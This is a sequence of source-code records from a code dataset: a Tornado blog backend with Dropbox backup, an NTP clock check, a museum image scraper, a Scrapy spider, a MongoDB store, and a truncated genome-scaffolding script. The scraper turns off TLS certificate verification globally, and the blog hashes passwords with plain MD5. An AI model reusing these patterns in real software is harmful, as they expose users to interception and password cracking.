self.redirect(\"/login\")\n\nclass LogoutHandler(BaseHandler):\n def get(self):\n user = self.get_current_user()\n if not user:\n self.redirect(\"/\")\n self.clear_all_cookies()\n self.redirect(\"/\")\n\nclass AdminHandler(BaseHandler):\n @tornado.web.authenticated\n def get(self):\n dropbox_on = True\n if not (app_key and app_secret):\n dropbox_on = False\n self.render(\"admin.html\",\n blog_author = blog_author,\n articlesList = get_all_articles(),\n dropbox_on = dropbox_on,\n )\n\nclass PasswordHandler(BaseHandler):\n @tornado.web.authenticated\n def get(self):\n message = self.get_argument('message', None)\n self.render(\"change_pw.html\",\n message = message,\n )\n\n @tornado.web.authenticated\n def post(self):\n username = self.get_current_user()\n if verify_user(username, to_md5(self.get_argument(\"o_password\", None))):\n if change_password(username, to_md5(self.get_argument(\"n_password\", None))):\n self.clear_all_cookies()\n self.redirect(\"/\")\n else:\n self.redirect(\"/admin/change_password?message=Failed to change Password: Wrong Old Password\")\n\nclass DropboxHandler(BaseHandler):\n @tornado.web.authenticated\n def get(self):\n if not (app_key and app_secret):\n message = self.get_argument('message', 'Authenticated Failed: You do not have the App Key and App Secret. Please ask author(JmPotato) for these')\n else:\n message = self.get_argument('message', 'Please backup your database and settings if you use Pomash first')\n if self.get_secure_cookie(\"access_token\"):\n authorized = True\n else:\n authorized = False\n self.render(\"dropbox.html\",\n authorized = authorized,\n authorize_url = flow.start(),\n message = message,\n )\n\n @tornado.web.authenticated\n def post(self):\n code = self.get_argument(\"code\", None).strip()\n access_token, user_id = flow.finish(code)\n self.set_secure_cookie(\"access_token\", access_token)\n self.set_secure_cookie(\"user_id\", user_id)\n self.redirect(\"/admin/dropbox\")\n\nclass DropboxBUHandler(BaseHandler):\n @tornado.web.authenticated\n def get(self):\n client = DropboxClient(self.get_secure_cookie(\"access_token\"))\n try:\n client.file_delete('/blog.db')\n client.file_delete('/settings.py')\n except:\n print(\"Can't find any backup\")\n finally:\n with open(os.path.join(os.path.abspath(os.path.dirname(\"__file__\")), 'blog.db'), 'rb') as f:\n response = client.put_file('/blog.db', f)\n with open(os.path.join(os.path.abspath(os.path.dirname(\"__file__\")), 'settings.py'), 'rb') as f:\n response = client.put_file('/settings.py', f)\n self.redirect(\"/admin/dropbox?message=Backup successfully\")\n\nclass DropboxLDHandler(BaseHandler):\n @tornado.web.authenticated\n def get(self):\n client = DropboxClient(self.get_secure_cookie(\"access_token\"))\n try:\n with client.get_file('/blog.db') as f:\n out = open('blog.db', 'wb')\n out.write(f.read())\n out.close()\n with client.get_file('/settings.py') as f:\n out = open('settings.py', 'wb')\n out.write(f.read())\n out.close()\n except:\n print(\"Can't find any backup\")\n self.redirect('/admin/dropbox?message=Failed to load backup. Please make sure you have a backup on Dropbox')\n finally:\n self.redirect('/admin/dropbox?message=Load backup successfully')\n\nclass NewPageHandler(BaseHandler):\n @tornado.web.authenticated\n def get(self):\n self.render(\"editor.html\",\n is_page = True,\n new = True,\n )\n\n @tornado.web.authenticated\n def post(self):\n title = self.get_argument(\"title\", None)\n content = self.get_argument(\"content\", None)\n if creat_page(title = title, content = content):\n self.redirect(\"/\")\n else:\n self.redirect(\"/admin\")\n\nclass EditPageHandler(BaseHandler):\n @tornado.web.authenticated\n def get(self, page_id):\n self.render(\"editor.html\",\n is_page = True,\n new = False,\n content = gat_page(page_id),\n )\n\n @tornado.web.authenticated\n def post(self, page_id):\n title = self.get_argument(\"title\", None)\n content = self.get_argument(\"content\", None)\n if update_page(int(page_id), title = title, content = content):\n self.redirect(\"/admin\")\n\nclass DelPageHandler(BaseHandler):\n @tornado.web.authenticated\n def get(self, page_id):\n if delete_page(page_id):\n self.redirect(\"/admin\")\n\nclass NewArticleHandler(BaseHandler):\n @tornado.web.authenticated\n def get(self):\n self.render(\"editor.html\",\n is_page = False,\n new = True,\n )\n\n @tornado.web.authenticated\n def post(self):\n title = self.get_argument(\"title\", None)\n tags = self.get_argument(\"tag\", None)\n content = self.get_argument(\"content\", None)\n creat_article(title = title, content = content, tags = tags)\n self.redirect(\"/\")\n\nclass EditArticleHandler(BaseHandler):\n @tornado.web.authenticated\n def get(self, article_id):\n self.render(\"editor.html\",\n is_page = False,\n new = False,\n article = get_article(article_id),\n )\n\n @tornado.web.authenticated\n def post(self, article_id):\n title = self.get_argument(\"title\", None)\n tags = self.get_argument(\"tag\", None)\n content = self.get_argument(\"content\", None)\n if update_article(int(article_id), title = title, content = content, tags = tags):\n self.redirect(\"/admin\")\n\nclass DelArticleHandler(BaseHandler):\n @tornado.web.authenticated\n def get(self, article_id):\n if delete_article(article_id):\n self.redirect(\"/admin\")\n\nclass FeedHandler(BaseHandler):\n def get(self):\n self.set_header(\"Content-Type\", \"text/xml; charset=utf-8\")\n self.render(\"feed.xml\",\n articlesList = get_all_articles(),\n blog_author = blog_author,\n )\n\nclass PageNotFound(BaseHandler):\n def get(self):\n raise tornado.web.HTTPError(404)\n\nhandlers = [\n (\"/\", HomeHandler),\n (\"/tag/([^/]+)/*\", TagHandler),\n (\"/tags\", TagsHandler),\n (\"/feed\", FeedHandler),\n (\"/articles\", ArticlesHandler),\n (\"/article/([\\d]+)\", ArticleHandler),\n (\"/page/([\\d]+)\", PageHandler),\n (\"/page/custom/([\\d]+)\", CuPageHandler),\n (\"/admin\", AdminHandler),\n (\"/login\", LoginHandler),\n (\"/logout\", LogoutHandler),\n (\"/admin/dropbox\", DropboxHandler),\n (\"/admin/dropbox/start\", DropboxBUHandler),\n (\"/admin/dropbox/load\", DropboxLDHandler),\n (\"/admin/change_password\", PasswordHandler),\n (\"/admin/edit/new/article\", NewArticleHandler),\n (\"/admin/edit/article/([\\d]+)\", EditArticleHandler),\n (\"/admin/edit/delete/article/([\\d]+)\", DelArticleHandler),\n (\"/admin/edit/new/page\", NewPageHandler),\n (\"/admin/edit/page/([\\d]+)\", EditPageHandler),\n (\"/admin/edit/delete/page/([\\d]+)\", DelPageHandler),\n (r'.*', PageNotFound),\n]", "sub_path": "Pomash/Pomash.py", "file_name": "Pomash.py", "file_ext": "py", "file_size_in_byte": 10738, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "dropbox.client.DropboxOAuth2FlowNoRedirect", "line_number": 17, "usage_type": "call"}, {"api_name": "tornado.web.web", "line_number": 119, "usage_type": "attribute"}, {"api_name": "tornado.web", "line_number": 119, "usage_type": "name"}, {"api_name": "tornado.web.web", "line_number": 131, "usage_type": "attribute"}, {"api_name": "tornado.web", "line_number": 131, "usage_type": "name"}, {"api_name": "tornado.web.web", "line_number": 138, "usage_type": "attribute"}, {"api_name": "tornado.web", "line_number": 138, "usage_type": "name"}, {"api_name": "tornado.web.web", "line_number": 149, "usage_type": "attribute"}, {"api_name": "tornado.web", "line_number": 149, "usage_type": "name"}, {"api_name": "tornado.web.web", "line_number": 165, "usage_type": "attribute"}, {"api_name": "tornado.web", "line_number": 165, "usage_type": "name"}, {"api_name": "dropbox.client.DropboxClient", "line_number": 176, "usage_type": "call"}, {"api_name": "os.path.path.join", "line_number": 183, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 183, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 183, "usage_type": "name"}, {"api_name": "os.path.path.abspath", "line_number": 183, "usage_type": "call"}, {"api_name": "os.path.path.dirname", "line_number": 183, "usage_type": "call"}, {"api_name": "os.path.path.join", "line_number": 185, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 185, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 185, "usage_type": "name"}, {"api_name": "os.path.path.abspath", "line_number": 185, "usage_type": "call"}, {"api_name": "os.path.path.dirname", "line_number": 185, "usage_type": "call"}, {"api_name": "tornado.web.web", "line_number": 174, "usage_type": "attribute"}, {"api_name": "tornado.web", "line_number": 174, "usage_type": "name"}, {"api_name": "dropbox.client.DropboxClient", "line_number": 192, "usage_type": "call"}, {"api_name": "tornado.web.web", "line_number": 190, "usage_type": "attribute"}, {"api_name": "tornado.web", "line_number": 190, "usage_type": "name"}, {"api_name": "tornado.web.web", "line_number": 209, "usage_type": "attribute"}, {"api_name": "tornado.web", "line_number": 209, "usage_type": "name"}, {"api_name": "tornado.web.web", "line_number": 216, "usage_type": "attribute"}, {"api_name": "tornado.web", "line_number": 216, "usage_type": "name"}, {"api_name": "tornado.web.web", "line_number": 226, "usage_type": "attribute"}, {"api_name": "tornado.web", "line_number": 226, "usage_type": "name"}, {"api_name": "tornado.web.web", "line_number": 234, "usage_type": "attribute"}, {"api_name": "tornado.web", "line_number": 234, "usage_type": "name"}, {"api_name": "tornado.web.web", "line_number": 242, "usage_type": "attribute"}, {"api_name": "tornado.web", "line_number": 242, "usage_type": "name"}, {"api_name": "tornado.web.web", "line_number": 248, "usage_type": "attribute"}, {"api_name": "tornado.web", "line_number": 248, "usage_type": "name"}, {"api_name": "tornado.web.web", "line_number": 255, "usage_type": "attribute"}, {"api_name": "tornado.web", "line_number": 255, "usage_type": "name"}, {"api_name": "tornado.web.web", "line_number": 264, "usage_type": "attribute"}, {"api_name": "tornado.web", "line_number": 264, "usage_type": "name"}, {"api_name": "tornado.web.web", "line_number": 272, "usage_type": "attribute"}, {"api_name": "tornado.web", "line_number": 272, "usage_type": "name"}, {"api_name": "tornado.web.web", "line_number": 281, "usage_type": "attribute"}, {"api_name": "tornado.web", "line_number": 281, "usage_type": "name"}, {"api_name": "tornado.web.web.HTTPError", "line_number": 296, "usage_type": "call"}, {"api_name": "tornado.web.web", "line_number": 296, "usage_type": "attribute"}, {"api_name": "tornado.web", "line_number": 296, "usage_type": "name"}]} +{"seq_id": "291799835", "text": "import socket\nimport struct\nimport sys\nimport time\nfrom datetime import datetime\n\n\ndef RequestTimefromNtp_t(addr='0.de.pool.ntp.org'):\n REF_TIME_1970 = 2208988800 # Reference time\n client = socket.socket( socket.AF_INET, socket.SOCK_DGRAM )\n data = b'\\x1b' + 47 * b'\\0'\n client.sendto( data, (addr, 123))\n data, address = client.recvfrom( 1024 )\n if data:\n t = struct.unpack( '!12I', data )[10]\n t -= REF_TIME_1970\n return t \n\n\nif __name__ == \"__main__\":\n current_datetime = datetime.now()\n datetime2 = RequestTimefromNtp_t()\n print(\"system time %s \"%(current_datetime))\n print(\"NTP time %s \"%(time.ctime(datetime2)))\n print(\"time difference %d sec\"%(time.time() - datetime2))\n \n print(\"difference %s hour\"%(time.strftime(\"%H\", time.localtime(time.time() - datetime2))))\n print(\"difference %s minutes\"%(time.strftime(\"%M\", time.localtime(time.time() - datetime2))))\n print(\"difference %s seconds\"%(time.strftime(\"%S\", time.localtime(time.time() - datetime2)))) \n \n", "sub_path": "variant1/Comp_time_ntp.py", "file_name": "Comp_time_ntp.py", "file_ext": "py", "file_size_in_byte": 993, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "socket.socket", "line_number": 10, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 10, "usage_type": "attribute"}, {"api_name": "socket.SOCK_DGRAM", "line_number": 10, "usage_type": "attribute"}, {"api_name": "struct.unpack", "line_number": 15, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 21, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 21, "usage_type": "name"}, {"api_name": "time.ctime", "line_number": 24, "usage_type": "call"}, {"api_name": "time.time", "line_number": 25, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 27, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 27, "usage_type": "call"}, {"api_name": "time.time", "line_number": 27, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 28, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 28, "usage_type": "call"}, {"api_name": "time.time", "line_number": 28, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 29, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 29, "usage_type": "call"}, {"api_name": "time.time", "line_number": 29, "usage_type": "call"}]} +{"seq_id": "246794013", "text": "\"\"\" Pull greek sculpture images from met museum web site\n It was easiest to get sculpture out using the 'Classification' field, as this column is\n most complete, and use 'Period' to get only ancient greek objects.\n ./data/source/MetObjects.csv should have met museum's object database\n ./data/source/met-openaccess-images.csv should contain file with open access image urls corresponding to object IDs\n Some objects have multiple images.\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nfrom tabulate import tabulate\nimport sys\nimport urllib.request\n#import urllib2\nimport ssl\nimport requests\n\nssl._create_default_https_context = ssl._create_unverified_context\n\ndata_folder = \"./data/all_data/\"\nurl_prefix = \"http://images.metmuseum.org/CRDImages/\"\n# load met data\nmetdata = pd.read_csv('./data/source/MetObjects.csv')\nmetdata = metdata[['Object ID', 'Classification', 'Period']]\nfp = open(\"./data/source/met-openaccess-images.csv\")\nfp.readline()\nobjid2imgurl = [line.split(',', maxsplit=1) for line in fp]\nobjid2imgurl =pd.DataFrame.from_records(objid2imgurl, columns=['Object ID', 'URL'])\nobjid2imgurl[['Object ID']] = objid2imgurl[['Object ID']].apply(pd.to_numeric)\nfp.close()\nmetdata.info()\nobjid2imgurl.info()\nsys.stdout.flush()\n\n# classifications column from the table, but actually it is closer to materials in this case\nclassifications = ['Stone Sculpture', 'Bronzes', 'Terracottas' ]\n# destination folders\nfolders = [data_folder+'stones/', data_folder+'bronzes/', data_folder+'terracottas/']\n# I will classify by periods\nperiods = ['Archaic', 'Classical', 'Hellenistic']\n# period destination subfolders\npfolders = ['archaic/', 'classical/', 'hellenistic/']\n\nfor i in range(3):\n onematerial = metdata[metdata['Classification']==classifications[i]]\n for j in range(3):\n if(classifications[i]==\"Stone Sculpture\" and (periods[j]=='Archaic' or periods[j]=='Classical')): continue;\n oneperiod = onematerial[onematerial['Period']==periods[j]]\n print(classifications[i], periods[j], oneperiod.shape)\n urls = pd.merge(objid2imgurl, oneperiod)\n dest_folder = folders[i]+pfolders[j]\n for ind,row in urls.iterrows():\n url = row['URL'].strip()\n filename = url.split(\"/\")[-1].strip()\n print(filename, url_prefix+url)\n image_file = open(dest_folder+filename, 'wb')\n print (\"image to download: \", url)\n img_url = url_prefix+url\n headers = {}\n headers['Referer'] = img_url\n headers['User-Agent'] = 'Agent Agent'\n\n r = requests.get(img_url, headers=headers)\n image_file.write(r.content)\n image_file.close()\n print(\"++++++\")\n", "sub_path": "pull_images.py", "file_name": "pull_images.py", "file_ext": "py", "file_size_in_byte": 2714, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "ssl._create_default_https_context", "line_number": 18, "usage_type": "attribute"}, {"api_name": "ssl._create_unverified_context", "line_number": 18, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 23, "usage_type": "call"}, {"api_name": "pandas.DataFrame.from_records", "line_number": 28, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 28, "usage_type": "attribute"}, {"api_name": "pandas.to_numeric", "line_number": 29, "usage_type": "attribute"}, {"api_name": "sys.stdout.flush", "line_number": 33, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 33, "usage_type": "attribute"}, {"api_name": "pandas.merge", "line_number": 50, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 63, "usage_type": "call"}]} +{"seq_id": "407680535", "text": "import scrapy\nfrom yangguang.items import YangguangItem\nimport re\n\n\nclass YgSpider(scrapy.Spider):\n name = 'yg'\n allowed_domains = ['wz.sun0769.com']\n start_urls = ['http://wz.sun0769.com/political/index/politicsNewest?id=1&type=4&page=0']\n # 处理列表页\n def parse(self, response):\n li_list = response.xpath('//div[@class=\"width-12\"]/ul[@class=\"title-state-ul\"]/li')\n\n for li in li_list:\n item = YangguangItem()\n item['title'] = li.xpath('./span[@class=\"state3\"]/a/text()').extract_first()\n item['href'] = 'http://wz.sun0769.com' + li.xpath('./span[@class=\"state3\"]/a/@href').extract_first()\n\n yield scrapy.Request(\n url=item['href'],\n callback=self.parse_detail,\n meta={'item': item}\n )\n\n next_url = 'http://wz.sun0769.com' + response.xpath(\n '//div[@class=\"mr-three paging-box\"]/a[2]/@href').extract_first()\n # print(next_url)\n if next_url is not None:\n yield scrapy.Request(\n url=next_url,\n callback=self.parse\n )\n # 处理详情页\n def parse_detail(self, response):\n item = response.meta.get('item')\n item['content'] = response.xpath('//div[@class=\"details-box\"]/pre/text()').extract_first()\n item['content_img'] = response.xpath('//div[@class=\"clear details-img\"]/img/@src').extract_first()\n # print(item)\n yield item\n", "sub_path": "yangguang/yangguang/spiders/yg.py", "file_name": "yg.py", "file_ext": "py", "file_size_in_byte": 1483, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "scrapy.Spider", "line_number": 6, "usage_type": "attribute"}, {"api_name": "yangguang.items.YangguangItem", "line_number": 15, "usage_type": "call"}, {"api_name": "scrapy.Request", "line_number": 19, "usage_type": "call"}, {"api_name": "scrapy.Request", "line_number": 29, "usage_type": "call"}]} +{"seq_id": "622573901", "text": "#!/usr/bin/env python3\n# -*- coding: UTF-8 -*-\n\nfrom common.config import conf\nfrom common.utils import get_connection\n\nhost = conf.get('app.db', 'host')\nport = conf.get('app.db', 'port')\nusername = conf.get('app.db', 'username')\npassword = conf.get('app.db', 'password')\ndatabase = conf.get('app.db', 'database')\ndriver = conf.get('app.db', 'driver')\ntable_map = {\n 'error': conf.get('app.db', 'error_table'),\n 'tac_question': 'tac_question',\n 'tac_feedback': 'tac_feedback',\n 'tac_repair': 'tac_repair',\n 'pac': 'pac',\n 'lac': 'lac'\n}\n\n\nclass MongoStore:\n\n app_conn = get_connection(driver, host, port, database, username, password)\n db = app_conn[database]\n\n def __init__(self):\n self.coll_map = {\n table_map['error']: self.create_collection(table_map['error']),\n table_map['tac_question']: self.create_collection(table_map['tac_question']),\n table_map['tac_feedback']: self.create_collection(table_map['tac_feedback']),\n table_map['tac_repair']: self.create_collection(table_map['tac_repair']),\n table_map['pac']: self.create_collection(table_map['pac']),\n table_map['lac']: self.create_collection(table_map['lac']),\n }\n self.error_table = self.coll_map[table_map['error']]\n\n def is_collection_exists(self, coll_name):\n if coll_name in self.db.list_collection_names():\n return True\n else:\n return False\n\n def create_collection(self, coll_name):\n if self.is_collection_exists(coll_name):\n coll = self.db.get_collection(coll_name)\n else:\n coll = self.db.create_collection(coll_name)\n return coll\n\n def save(self, coll_name, data):\n coll = self.coll_map.get(coll_name)\n if coll:\n if len(data) != 0:\n _result = coll.insert_many(data)\n else:\n print('Can not find collection {} in mongodb!'.format(coll_name))\n\n def save_error(self, error):\n _result = self.error_table.insert_one(error)\n\n\nmongo_store = MongoStore()\n", "sub_path": "common/store.py", "file_name": "store.py", "file_ext": "py", "file_size_in_byte": 2084, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "common.config.conf.get", "line_number": 7, "usage_type": "call"}, {"api_name": "common.config.conf", "line_number": 7, "usage_type": "name"}, {"api_name": "common.config.conf.get", "line_number": 8, "usage_type": "call"}, {"api_name": "common.config.conf", "line_number": 8, "usage_type": "name"}, {"api_name": "common.config.conf.get", "line_number": 9, "usage_type": "call"}, {"api_name": "common.config.conf", "line_number": 9, "usage_type": "name"}, {"api_name": "common.config.conf.get", "line_number": 10, "usage_type": "call"}, {"api_name": "common.config.conf", "line_number": 10, "usage_type": "name"}, {"api_name": "common.config.conf.get", "line_number": 11, "usage_type": "call"}, {"api_name": "common.config.conf", "line_number": 11, "usage_type": "name"}, {"api_name": "common.config.conf.get", "line_number": 12, "usage_type": "call"}, {"api_name": "common.config.conf", "line_number": 12, "usage_type": "name"}, {"api_name": "common.config.conf.get", "line_number": 14, "usage_type": "call"}, {"api_name": "common.config.conf", "line_number": 14, "usage_type": "name"}, {"api_name": "common.utils.get_connection", "line_number": 25, "usage_type": "call"}]} +{"seq_id": "69752217", "text": "#! /usr/bin/env python3\n# -*- coding: utf-8 -*-\n###\n### Goal:\n### Create scaffolding adj file for all species from BESST score files\n###\n### INPUT:\n### 1- BESST directory\n### (data/DATA_SEQ/SCAFFOLDING/BESST-2.2.6/Bowtie2_k100/TRIM/)\n### 2- CTG file\n### (data/data_DeCoSTAR/CTG_file)\n### 3- Maximum distance between linked contigs\n### (Ex: 1000000000)\n### 4- Links number threshold in scaffolding adjacencies\n### (Ex: 4)\n### 5- OUTPUT file\n### (data/data_DeCoSTAR/scaff_BESST_ALL_4_TRIM)\n###\n### OUTPUT:\n### - Scaffolding adjacencies gene file for all species\n###\n### Name: create_scaff_adj_file.py Author: Yoann Anselmetti\n### Creation date: 2015/12/02 Last modification: 2020/11/05\n###\n\nfrom sys import argv, stdout\nfrom re import search\nfrom os import close, listdir, path, makedirs\nfrom datetime import datetime\nfrom collections import namedtuple #New in version 2.6\nfrom glob import glob\nimport errno\n\n\n\ndef getDIR(file_path):\n return file_path.rsplit(\"/\",1)[0]\n\n\n\ndef mkdir_p(dir_path):\n try:\n makedirs(dir_path)\n except OSError as exc: # Python >2.5\n if exc.errno == errno.EEXIST and path.isdir(dir_path):\n pass\n else:\n raise\n\n\n\ndef rev_ori(ori):\n if ori==\"-\":\n return \"+\"\n elif ori==\"+\":\n return \"-\"\n elif ori==\"?\":\n return \"?\"\n else:\n exit(\"ERROR, orientation: \\\"\"+ori+\"\\\" is incorrect, it should be \\\"+\\\" or \\\"-\\\"!!!\")\n\n\n\ndef store_CTG(CTG_file):\n CTG_format=\"#species\\tctg\\tctg_size\\tctg_gene_nb\\t5'_gene_family\\t5'_gene\\torientation_5'_gene\\tstart_5'_gene\\t3'_gene_family\\t3'_gene\\torientation_3'_gene\\tend_3'_gene\\n\"\n dict_spe_ctg=dict()\n # When get a contigs pairs (edge scaffolding link) => Get genes that are linked by scaffolding graph with the distance\n contig_file=open(CTG_file,'r')\n for line in contig_file:\n r=search(\"^([^\\t]*)\\t([^\\t]*)\\t([^\\t]*)\\t([^\\t]*)\\t([^\\t]*)\\t([^\\t]*)\\t([^\\t]*)\\t([^\\t]*)\\t([^\\t]*)\\t([^\\t]*)\\t([^\\t]*)\\t([^\\t\\n]*)\\n$\",line)\n if r:\n spe=r.group(1)\n contig=r.group(2)\n contig_size=r.group(3)\n contig_geneNb=r.group(4)\n GF1=r.group(5)\n g1=r.group(6)\n oriG1=r.group(7)\n start_g1=r.group(8)\n GF2=r.group(9)\n g2=r.group(10)\n oriG2=r.group(11)\n stop_g2=r.group(12)\n\n if spe!=\"#species\":\n if contig_size!=\"?\": # Cause contig with \"size==?\"\" are not present in genome assemblies\n ctg=CTG(spe,contig,int(contig_size),GF1,g1,oriG1,int(start_g1),GF2,g2,oriG2,int(stop_g2))\n if not spe in dict_spe_ctg:\n dict_spe_ctg[spe]=dict()\n dict_spe_ctg[spe][contig]=ctg\n # else:\n # print(\"\\t=> Contig \"+contig+\" is not present in FASTA file assembly of species \"+spe)\n else:\n exit(\"ERROR, line \"+line+\" of file \"+CTG_file+\" is incorrectly written!!!\\nIt should match with the following format:\\n\"+CTG_format)\n contig_file.close()\n\n return dict_spe_ctg\n\n\n\ndef best_adj(stored_edge,current_edge):\n current_score=(current_edge.vscore+current_edge.dscore)/2.0\n stored_score=(stored_edge.vscore+stored_edge.dscore)/2.0\n # If current score > stored score, replace stored edge by current edge\n if current_score>stored_score:\n return True\n # If current score == stored score, keep the edge with the higher number of links \n elif current_score==stored_score:\n if current_edge.link>stored_edge.link:\n return True\n else:\n return False\n\n\n\ndef read_and_store_scaff_ADj(ctg_scaff_graph_file,dict_spe_edge_scaff):\n scaff_graph=open(ctg_scaff_graph_file,'r')\n for line in scaff_graph:\n r=search('^([^\\t]*)\\t([^\\t]*)\\t([^\\t]*)\\t([^\\t]*)\\t([^\\t]*)\\t([^\\t]*)\\t([^\\t]*)\\t([^\\n\\t]*)\\n$',line)\n if r:\n ctg1=r.group(1)\n ori1=r.group(2)\n ctg2=r.group(3)\n ori2=r.group(4)\n gap=r.group(5)\n var_score=r.group(6)\n disp_score=r.group(7)\n links_nb=r.group(8)\n\n # print(line)\n\n if ctg1!=\"scf1/ctg1\":\n # Parse ctg1, ori1, ctg2 and ori2 if they are composed of several contigs\n if \";\" in ctg1:\n ctg1=ctg1.rsplit(\";\",1)[1]\n ori1=ori1.rsplit(\";\",1)[1]\n ctg2=ctg2.split(\";\",1)[0]\n ori2=ori2.split(\";\",1)[0]\n\n if int(links_nb)>links_min and float(gap)<=gap_max:\n score1=float('{0:.12f}'.format(float(var_score)))\n score2=float('{0:.12f}'.format(float(disp_score)))\n\n adj=ADJ(species,ctg1,ctg2,ori1,ori2)\n edge=EDGE(species,ctg1,ctg2,ori1,ori2,float(gap),score1,score2,int(links_nb))\n\n rev_adj=ADJ(species,ctg2,ctg1,rev_ori(ori2),rev_ori(ori1))\n rev_edge=EDGE(species,ctg2,ctg1,rev_ori(ori2),rev_ori(ori1),float(gap),score1,score2,int(links_nb))\n\n # If the current adj is in \"dict_spe_edge_scaff\"\n if adj in dict_spe_edge_scaff[species]:\n if best_adj(dict_spe_edge_scaff[species][adj],edge):\n dict_spe_edge_scaff[species][adj]=edge\n else:\n # If the current adj is in \"dict_spe_edge_scaff\" in the reverse order\n if rev_adj in dict_spe_edge_scaff[species]:\n if verbose:\n print(\"\\tAdjacency:\\n\",edge,\"\\nis present in forward and reverse orientation\")\n if best_adj(dict_spe_edge_scaff[species][rev_adj],rev_edge):\n dict_spe_edge_scaff[species][rev_adj]=rev_edge\n # If current adj is not present in \"dict_spe_edge_scaff\", store it in \"dict_spe_edge_scaff\"\n else:\n dict_spe_edge_scaff[species][adj]=edge\n else:\n exit(\"ERROR, the line:\\n\\t\"+line+\"\\nis incorrectly written in file \"+ctg_scaff_graph_file)\n scaff_graph.close()\n\n\n\ndef store_ADJ(BESST_dir,species,dict_spe_edge_scaff):\n score_files_nb=len(glob(BESST_dir+\"/\"+species+\"/BESST_output/score_file_pass_*.tsv\"))\n if score_files_nb:\n i=1\n while i<=score_files_nb:\n ctg_scaff_graph_file=BESST_dir+\"/\"+species+\"/BESST_output/score_file_pass_\"+str(i)+\".tsv\"\n print(\"\\t\"+ctg_scaff_graph_file)\n read_and_store_scaff_ADj(ctg_scaff_graph_file,dict_spe_edge_scaff)\n i+=1\n else:\n for SRX in listdir(BESST_dir+\"/\"+species):\n ctg_scaff_graph_file=BESST_dir+\"/\"+species+\"/\"+SRX+\"/BESST_output/score_file_pass_1.tsv\"\n print(\"\\t\"+ctg_scaff_graph_file)\n read_and_store_scaff_ADj(ctg_scaff_graph_file,dict_spe_edge_scaff)\n\n return dict_spe_edge_scaff\n\n\n\ndef get_gene_infos(ctg_order,ori,dist,CTG,CTG_file):\n GF_gene=\"\"\n gene=\"\"\n ori_gene=\"\"\n # If gene involved in scaffolding adjacency is in 5' position on contig CTG\n if ((ori==\"+\" and ctg_order==\"second\") or (ori==\"-\" and ctg_order==\"first\")):\n GF_gene=CTG.gf1\n gene=CTG.g1\n ori_gene=CTG.ori1\n dist+=CTG.start\n # If gene involved in scaffolding adjacency is in 3' position on contig CTG\n elif ((ori==\"-\" and ctg_order==\"second\") or (ori==\"+\" and ctg_order==\"first\")):\n GF_gene=CTG.gf2\n gene=CTG.g2\n ori_gene=CTG.ori2\n dist+=CTG.size-CTG.end\n else:\n exit(\"ERROR on gene orientation in contigs extremities file \\\"\"+CTG_file+\"\\\" (Should be \\\"+\\\" or \\\"-\\\")\")\n\n # Change gene orientation if CTG orientation is \"-\" (ori==\"-\")\n if (ori==\"-\"):\n oriG=ori_gene\n ori_gene=rev_ori(oriG)\n\n return GF_gene,gene,ori_gene,dist\n\n\n\n\n\n###########\n### MAIN \n###########\nif __name__ == '__main__':\n\n start_time = datetime.now()\n\n BESST_dir=argv[1]\n CTG_file=argv[2]\n gap_max=int(argv[3])\n links_min=int(argv[4])\n OUTPUT_file=argv[5]\n\n verbose=False\n\n # Create OUTPOUT_DIR for OUTPUT_file\n OUTPUT_DIR=getDIR(OUTPUT_file)\n mkdir_p(OUTPUT_DIR)\n\n # STRUCTURE for gene edge and adjacency (EDGE==ADJ)\n EDGE=namedtuple(\"EDGE\",[\"spe\",\"ctg1\",\"ctg2\",\"ori1\",\"ori2\",\"gap\",\"vscore\",\"dscore\",\"link\"])\n ADJ=namedtuple(\"ADJ\",[\"spe\",\"ctg1\",\"ctg2\",\"ori1\",\"ori2\"])\n CTG=namedtuple(\"CTG\",[\"spe\",\"size\"])\n CTG=namedtuple(\"CTG\",[\"spe\",\"ctg\",\"size\",\"gf1\",\"g1\",\"ori1\",\"start\",\"gf2\",\"g2\",\"ori2\",\"end\"])\n\n\n\n###########\n### STORE CTG INFOS OF \"CTG_file\" IN \"dict_spe_ctg\"\n###########\n print(\"1/ Store infos contained in CTG file \\\"\"+CTG_file+\"\\\"...\", end=' ')\n stdout.flush()\n dict_spe_ctg=store_CTG(CTG_file)\n print(\"DONE\")\n\n # for spe in dict_spe_ctg:\n # for ctg in dict_spe_ctg[spe]:\n # print(ctg+\":\",dict_spe_ctg[spe][ctg])\n\n\n\n###########\n### BROWSE \"BESST_dir\" TO GET SCAFFOLDING ADJACENCIES PROPOSED BY BESST AND STORE IT IN \"dict_edge_scaff\"\n###########\n print(\"2/ Get, filter and store scaffolding adjacencies predicted by BESST present in directory \\\"\"+BESST_dir+\"\\\":\")\n Nb_scaff_edge_tot=0\n Nb_scaff_edge_kept=0\n dict_spe_edge_scaff=dict()\n for species in sorted(listdir(BESST_dir)):\n print(species+\":\")\n dict_spe_edge_scaff[species]=dict()\n dict_spe_edge_scaff=store_ADJ(BESST_dir,species,dict_spe_edge_scaff)\n\n # for spe in dict_spe_edge_scaff:\n # for adj in dict_spe_edge_scaff[spe]:\n # 